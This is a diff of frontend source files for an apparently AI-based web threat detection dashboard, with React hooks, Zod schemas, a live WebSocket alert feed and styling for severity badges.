+import { RouterProvider } from 'react-router-dom'
+import { Toaster } from 'sonner'
+
+import { queryClient } from '@/core/api'
+import { router } from '@/core/app/routers'
+
+export default function App(): React.ReactElement {
+  return (
+    <QueryClientProvider client={queryClient}>
+      <div className="app">
+        <RouterProvider router={router} />
+        <Toaster
+          position="top-right"
+          duration={2000}
+          theme="dark"
+          toastOptions={{
+            style: {
+              background: 'hsl(0, 0%, 12.2%)',
+              border: '1px solid hsl(0, 0%, 18%)',
+              color: 'hsl(0, 0%, 98%)',
+            },
+          }}
+        />
+      </div>
+      <ReactQueryDevtools initialIsOpen={false} />
+    </QueryClientProvider>
+  )
+}

PROJECTS/advanced/ai-threat-detection/frontend/src/api/hooks/index.ts

@@ -0,0 +1,9 @@
+// ===================
+// © AngelaMos | 2026
+// index.ts
+// ===================
+
+export * from './useAlerts'
+export * from './useModels'
+export * from './useStats'
+export * from './useThreats'

PROJECTS/advanced/ai-threat-detection/frontend/src/api/hooks/useAlerts.ts

@@ -0,0 +1,103 @@
+// ===================
+// © AngelaMos | 2026
+// useAlerts.ts
+// ===================
+
+import { useEffect, useRef } from 'react'
+import { create } from 'zustand'
+import { type WebSocketAlert, WebSocketAlertSchema } from '@/api/types'
+import { ALERTS, WS_ENDPOINTS } from '@/config'
+
+interface AlertState {
+  alerts: WebSocketAlert[]
+  isConnected: boolean
+  connectionError: string | null
+  addAlert: (alert: WebSocketAlert) => void
+  setConnected: (connected: boolean) => void
+  setError: (error: string | null) => void
+  clear: () => void
+}
+
+const useAlertStore = create<AlertState>()((set) => ({
+  alerts: [],
+  isConnected: false,
+  connectionError: null,
+
+  addAlert: (alert) =>
+    set((state) => ({
+      alerts: [alert, ...state.alerts].slice(0, ALERTS.MAX_ITEMS),
+    })),
+
+  setConnected: (connected) =>
+    set({ isConnected: connected, connectionError: null }),
+
+  setError: (error) => set({ isConnected: false, connectionError: error }),
+
+  clear: () => set({ alerts: [], isConnected: false, connectionError: null }),
+}))
+
+function getWsUrl(): string {
+  const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
+  return `${protocol}//${window.location.host}${WS_ENDPOINTS.ALERTS}`
+}
+
+export function useAlerts() {
+  const wsRef = useRef<WebSocket | null>(null)
+  const retryCountRef = useRef(0)
+  const retryTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null)
+
+  const { alerts, isConnected, connectionError } = useAlertStore()
+  const { addAlert, setConnected, setError, clear } = useAlertStore()
+
+  useEffect(() => {
+    function connect() {
+      const ws = new WebSocket(getWsUrl())
+      wsRef.current = ws
+
+      ws.onopen = () => {
+        retryCountRef.current = 0
+        setConnected(true)
+      }
+
+      ws.onmessage = (event) => {
+        const parsed = WebSocketAlertSchema.safeParse(JSON.parse(event.data))
+        if (parsed.success) {
+          addAlert(parsed.data)
+        }
+      }
+
+      ws.onclose = () => {
+        setConnected(false)
+        scheduleReconnect()
+      }
+
+      ws.onerror = () => {
+        setError('WebSocket connection failed')
+        ws.close()
+      }
+    }
+
+    function scheduleReconnect() {
+      const delay = Math.min(
+        ALERTS.RECONNECT_BASE_MS * 2 ** retryCountRef.current,
+        ALERTS.RECONNECT_MAX_MS
+      )
+      retryCountRef.current += 1
+      retryTimerRef.current = setTimeout(connect, delay)
+    }
+
+    connect()
+
+    return () => {
+      if (retryTimerRef.current) {
+        clearTimeout(retryTimerRef.current)
+      }
+      if (wsRef.current) {
+        wsRef.current.close()
+      }
+      clear()
+    }
+  }, [addAlert, setConnected, setError, clear])
+
+  return { alerts, isConnected, connectionError }
+}

PROJECTS/advanced/ai-threat-detection/frontend/src/api/hooks/useModels.ts

@@ -0,0 +1,43 @@
+// ===================
+// © AngelaMos | 2026
+// useModels.ts
+// ===================
+
+import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
+import { toast } from 'sonner'
+import type { ModelStatus, RetrainResponse } from '@/api/types'
+import { API_ENDPOINTS, QUERY_KEYS } from '@/config'
+import { apiClient, QUERY_STRATEGIES } from '@/core/api'
+
+export function useModelStatus() {
+  return useQuery<ModelStatus>({
+    queryKey: QUERY_KEYS.MODELS.STATUS(),
+    queryFn: async () => {
+      const { data } = await apiClient.get<ModelStatus>(
+        API_ENDPOINTS.MODELS.STATUS
+      )
+      return data
+    },
+    ...QUERY_STRATEGIES.standard,
+  })
+}
+
+export function useRetrain() {
+  const queryClient = useQueryClient()
+
+  return useMutation<RetrainResponse>({
+    mutationFn: async () => {
+      const { data } = await apiClient.post<RetrainResponse>(
+        API_ENDPOINTS.MODELS.RETRAIN
+      )
+      return data
+    },
+    onSuccess: () => {
+      toast.success('Retraining started')
+      queryClient.invalidateQueries({ queryKey: QUERY_KEYS.MODELS.ALL })
+    },
+    onError: () => {
+      toast.error('Failed to start retraining')
+    },
+  })
+}

PROJECTS/advanced/ai-threat-detection/frontend/src/api/hooks/useStats.ts

@@ -0,0 +1,22 @@
+// ===================
+// © AngelaMos | 2026
+// useStats.ts
+// ===================
+
+import { useQuery } from '@tanstack/react-query'
+import type { StatsResponse } from '@/api/types'
+import { API_ENDPOINTS, QUERY_KEYS } from '@/config'
+import { apiClient, QUERY_STRATEGIES } from '@/core/api'
+
+export function useStats(range = '24h') {
+  return useQuery<StatsResponse>({
+    queryKey: QUERY_KEYS.STATS.BY_RANGE(range),
+    queryFn: async () => {
+      const { data } = await apiClient.get<StatsResponse>(API_ENDPOINTS.STATS, {
+        params: { range },
+      })
+      return data
+    },
+    ...QUERY_STRATEGIES.frequent,
+  })
+}

PROJECTS/advanced/ai-threat-detection/frontend/src/api/hooks/useThreats.ts

@@ -0,0 +1,52 @@
+// ===================
+// © AngelaMos | 2026
+// useThreats.ts
+// ===================
+
+import { useQuery } from '@tanstack/react-query'
+import type { ThreatEvent, ThreatList } from '@/api/types'
+import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config'
+import { apiClient, QUERY_STRATEGIES } from '@/core/api'
+
+interface ThreatParams {
+  limit?: number
+  offset?: number
+  severity?: 'HIGH' | 'MEDIUM' | 'LOW'
+  source_ip?: string
+  since?: string
+  until?: string
+}
+
+export function useThreats(params: ThreatParams = {}) {
+  const queryParams = {
+    limit: params.limit ?? PAGINATION.DEFAULT_LIMIT,
+    offset: params.offset ?? 0,
+    ...params,
+  }
+
+  return useQuery<ThreatList>({
+    queryKey: QUERY_KEYS.THREATS.LIST(queryParams),
+    queryFn: async () => {
+      const { data } = await apiClient.get<ThreatList>(
+        API_ENDPOINTS.THREATS.LIST,
+        { params: queryParams }
+      )
+      return data
+    },
+    ...QUERY_STRATEGIES.frequent,
+  })
+}
+
+export function useThreat(id: string | null) {
+  return useQuery<ThreatEvent>({
+    queryKey: QUERY_KEYS.THREATS.BY_ID(id ?? ''),
+    queryFn: async () => {
+      const { data } = await apiClient.get<ThreatEvent>(
+        API_ENDPOINTS.THREATS.BY_ID(id as string)
+      )
+      return data
+    },
+    enabled: id !== null,
+    ...QUERY_STRATEGIES.standard,
+  })
+}

PROJECTS/advanced/ai-threat-detection/frontend/src/api/index.ts

@@ -0,0 +1,7 @@
+// ===================
+// © AngelaMos | 2026
+// index.ts
+// ===================
+
+export * from './hooks'
+export * from './types'

PROJECTS/advanced/ai-threat-detection/frontend/src/api/types/index.ts

@@ -0,0 +1,9 @@
+// ===================
+// © AngelaMos | 2026
+// index.ts
+// ===================
+
+export * from './models.types'
+export * from './stats.types'
+export * from './threats.types'
+export * from './websocket.types'

PROJECTS/advanced/ai-threat-detection/frontend/src/api/types/models.types.ts

@@ -0,0 +1,29 @@
+// ===================
+// © AngelaMos | 2026
+// models.types.ts
+// ===================
+
+import { z } from 'zod'
+
+export const ActiveModelSchema = z.object({
+  model_type: z.string(),
+  version: z.string(),
+  training_samples: z.number().int(),
+  metrics: z.record(z.string(), z.number()),
+  threshold: z.number().nullable(),
+})
+
+export const ModelStatusSchema = z.object({
+  models_loaded: z.boolean(),
+  detection_mode: z.string(),
+  active_models: z.array(ActiveModelSchema),
+})
+
+export const RetrainResponseSchema = z.object({
+  status: z.string(),
+  job_id: z.string(),
+})
+
+export type ActiveModel = z.infer<typeof ActiveModelSchema>
+export type ModelStatus = z.infer<typeof ModelStatusSchema>
+export type RetrainResponse = z.infer<typeof RetrainResponseSchema>

PROJECTS/advanced/ai-threat-detection/frontend/src/api/types/stats.types.ts

@@ -0,0 +1,36 @@
+// ===================
+// © AngelaMos | 2026
+// stats.types.ts
+// ===================
+
+import { z } from 'zod'
+
+export const SeverityBreakdownSchema = z.object({
+  high: z.number().int(),
+  medium: z.number().int(),
+  low: z.number().int(),
+})
+
+export const IPStatEntrySchema = z.object({
+  source_ip: z.string(),
+  count: z.number().int(),
+})
+
+export const PathStatEntrySchema = z.object({
+  path: z.string(),
+  count: z.number().int(),
+})
+
+export const StatsResponseSchema = z.object({
+  time_range: z.string(),
+  threats_stored: z.number().int(),
+  threats_detected: z.number().int(),
+  severity_breakdown: SeverityBreakdownSchema,
+  top_source_ips: z.array(IPStatEntrySchema),
+  top_attacked_paths: z.array(PathStatEntrySchema),
+})
+
+export type SeverityBreakdown = z.infer<typeof SeverityBreakdownSchema>
+export type IPStatEntry = z.infer<typeof IPStatEntrySchema>
+export type PathStatEntry = z.infer<typeof PathStatEntrySchema>
+export type StatsResponse = z.infer<typeof StatsResponseSchema>

PROJECTS/advanced/ai-threat-detection/frontend/src/api/types/threats.types.ts

@@ -0,0 +1,43 @@
+// ===================
+// © AngelaMos | 2026
+// threats.types.ts
+// ===================
+
+import { z } from 'zod'
+
+export const GeoInfoSchema = z.object({
+  country: z.string().nullable(),
+  city: z.string().nullable(),
+  lat: z.number().nullable(),
+  lon: z.number().nullable(),
+})
+
+export const ThreatEventSchema = z.object({
+  id: z.string().uuid(),
+  created_at: z.string(),
+  source_ip: z.string(),
+  request_method: z.string(),
+  request_path: z.string(),
+  status_code: z.number().int(),
+  response_size: z.number().int(),
+  user_agent: z.string(),
+  threat_score: z.number(),
+  severity: z.literal(['HIGH', 'MEDIUM', 'LOW']),
+  component_scores: z.record(z.string(), z.number()),
+  geo: GeoInfoSchema,
+  matched_rules: z.array(z.string()).nullable(),
+  model_version: z.string().nullable(),
+  reviewed: z.boolean(),
+  review_label: z.string().nullable(),
+})
+
+export const ThreatListSchema = z.object({
+  total: z.number().int(),
+  limit: z.number().int(),
+  offset: z.number().int(),
+  items: z.array(ThreatEventSchema),
+})
+
+export type GeoInfo = z.infer<typeof GeoInfoSchema>
+export type ThreatEvent = z.infer<typeof ThreatEventSchema>
+export type ThreatList = z.infer<typeof ThreatListSchema>

PROJECTS/advanced/ai-threat-detection/frontend/src/api/types/websocket.types.ts

@@ -0,0 +1,18 @@
+// ===================
+// © AngelaMos | 2026
+// websocket.types.ts
+// ===================
+
+import { z } from 'zod'
+
+export const WebSocketAlertSchema = z.object({
+  event: z.literal('threat'),
+  timestamp: z.string(),
+  source_ip: z.string(),
+  request_path: z.string(),
+  threat_score: z.number(),
+  severity: z.string(),
+  component_scores: z.record(z.string(), z.number()),
+})
+
+export type WebSocketAlert = z.infer<typeof WebSocketAlertSchema>

PROJECTS/advanced/ai-threat-detection/frontend/src/components/alert-feed.module.scss

@@ -0,0 +1,93 @@
+// ===================
+// © AngelaMos | 2026
+// alert-feed.module.scss
+// ===================
+
+@use '@/styles/tokens' as *;
+
+.feed {
+  display: flex;
+  flex-direction: column;
+  background: $bg-surface-100;
+  border: 1px solid $border-muted;
+  border-radius: $radius-lg;
+  overflow: hidden;
+}
+
+.header {
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  padding: $space-4 $space-5;
+  border-bottom: 1px solid $border-muted;
+}
+
+.title {
+  font-size: $font-size-sm;
+  font-weight: $font-weight-medium;
+  color: $text-default;
+  margin: 0;
+}
+
+.status {
+  width: 8px;
+  height: 8px;
+  border-radius: $radius-full;
+}
+
+.connected {
+  background: $severity-low;
+}
+
+.disconnected {
+  background: $severity-high;
+}
+
+.list {
+  overflow-y: auto;
+  max-height: 400px;
+}
+
+.row {
+  display: grid;
+  grid-template-columns: 80px 130px 1fr auto 60px;
+  gap: $space-3;
+  align-items: center;
+  padding: $space-2-5 $space-5;
+  border-bottom: 1px solid $border-muted;
+  font-size: $font-size-xs;
+
+  &:last-child {
+    border-bottom: none;
+  }
+}
+
+.time {
+  color: $text-lighter;
+  font-variant-numeric: tabular-nums;
+}
+
+.ip {
+  color: $text-light;
+  font-family: monospace;
+}
+
+.path {
+  color: $text-light;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.score {
+  color: $text-lighter;
+  text-align: right;
+  font-variant-numeric: tabular-nums;
+}
+
+.empty {
+  padding: $space-10;
+  text-align: center;
+  color: $text-muted;
+  font-size: $font-size-sm;
+}

PROJECTS/advanced/ai-threat-detection/frontend/src/components/alert-feed.tsx

@@ -0,0 +1,70 @@
+// ===================
+// © AngelaMos | 2026
+// alert-feed.tsx
+// ===================
+
+import { useEffect, useRef } from 'react'
+import type { WebSocketAlert } from '@/api/types'
+import styles from './alert-feed.module.scss'
+import { SeverityBadge } from './severity-badge'
+
+interface AlertFeedProps {
+  alerts: WebSocketAlert[]
+  isConnected: boolean
+  maxHeight?: string
+}
+
+function formatTime(timestamp: string): string {
+  return new Date(timestamp).toLocaleTimeString()
+}
+
+export function AlertFeed({
+  alerts,
+  isConnected,
+  maxHeight,
+}: AlertFeedProps): React.ReactElement {
+  const listRef = useRef<HTMLDivElement>(null)
+
+  const alertCount = alerts.length
+  // biome-ignore lint/correctness/useExhaustiveDependencies: scroll on new alerts
+  useEffect(() => {
+    if (listRef.current) {
+      listRef.current.scrollTop = 0
+    }
+  }, [alertCount])
+
+  return (
+    <div className={styles.feed}>
+      <div className={styles.header}>
+        <h3 className={styles.title}>Live Alerts</h3>
+        <span
+          className={`${styles.status} ${isConnected ? styles.connected : styles.disconnected}`}
+        />
+      </div>
+
+      <div
+        ref={listRef}
+        className={styles.list}
+        style={maxHeight ? { maxHeight } : undefined}
+      >
+        {alerts.length === 0 ? (
+          <div className={styles.empty}>Waiting for alerts...</div>
+        ) : (
+          alerts.map((alert, i) => (
+            <div key={`${alert.timestamp}-${i}`} className={styles.row}>
+              <span className={styles.time}>{formatTime(alert.timestamp)}</span>
+              <span className={styles.ip}>{alert.source_ip}</span>
+              <span className={styles.path}>{alert.request_path}</span>
+              <SeverityBadge
+                severity={alert.severity as 'HIGH' | 'MEDIUM' | 'LOW'}
+              />
+              <span className={styles.score}>
+                {alert.threat_score.toFixed(2)}
+              </span>
+            </div>
+          ))
+        )}
+      </div>
+    </div>
+  )
+}

PROJECTS/advanced/ai-threat-detection/frontend/src/components/index.tsx

@@ -0,0 +1,9 @@
+// ===================
+// © AngelaMos | 2026
+// index.tsx
+// ===================
+
+export { AlertFeed } from './alert-feed'
+export { SeverityBadge } from './severity-badge'
+export { StatCard } from './stat-card'
+export { ThreatDetail } from './threat-detail'

PROJECTS/advanced/ai-threat-detection/frontend/src/components/severity-badge.module.scss

@@ -0,0 +1,33 @@
+// ===================
+// © AngelaMos | 2026
+// severity-badge.module.scss
+// ===================
+
+@use '@/styles/tokens' as *;
+
+.badge {
+  display: inline-flex;
+  align-items: center;
+  padding: $space-0-5 $space-2;
+  border-radius: $radius-full;
+  font-size: $font-size-2xs;
+  font-weight: $font-weight-semibold;
+  letter-spacing: $tracking-wider;
+  line-height: $line-height-none;
+  text-transform: uppercase;
+}
+
+.high {
+  color: $severity-high;
+  background: $severity-high-bg;
+}
+
+.medium {
+  color: $severity-medium;
+  background: $severity-medium-bg;
+}
+
+.low {
+  color: $severity-low;
+  background: $severity-low-bg;
+}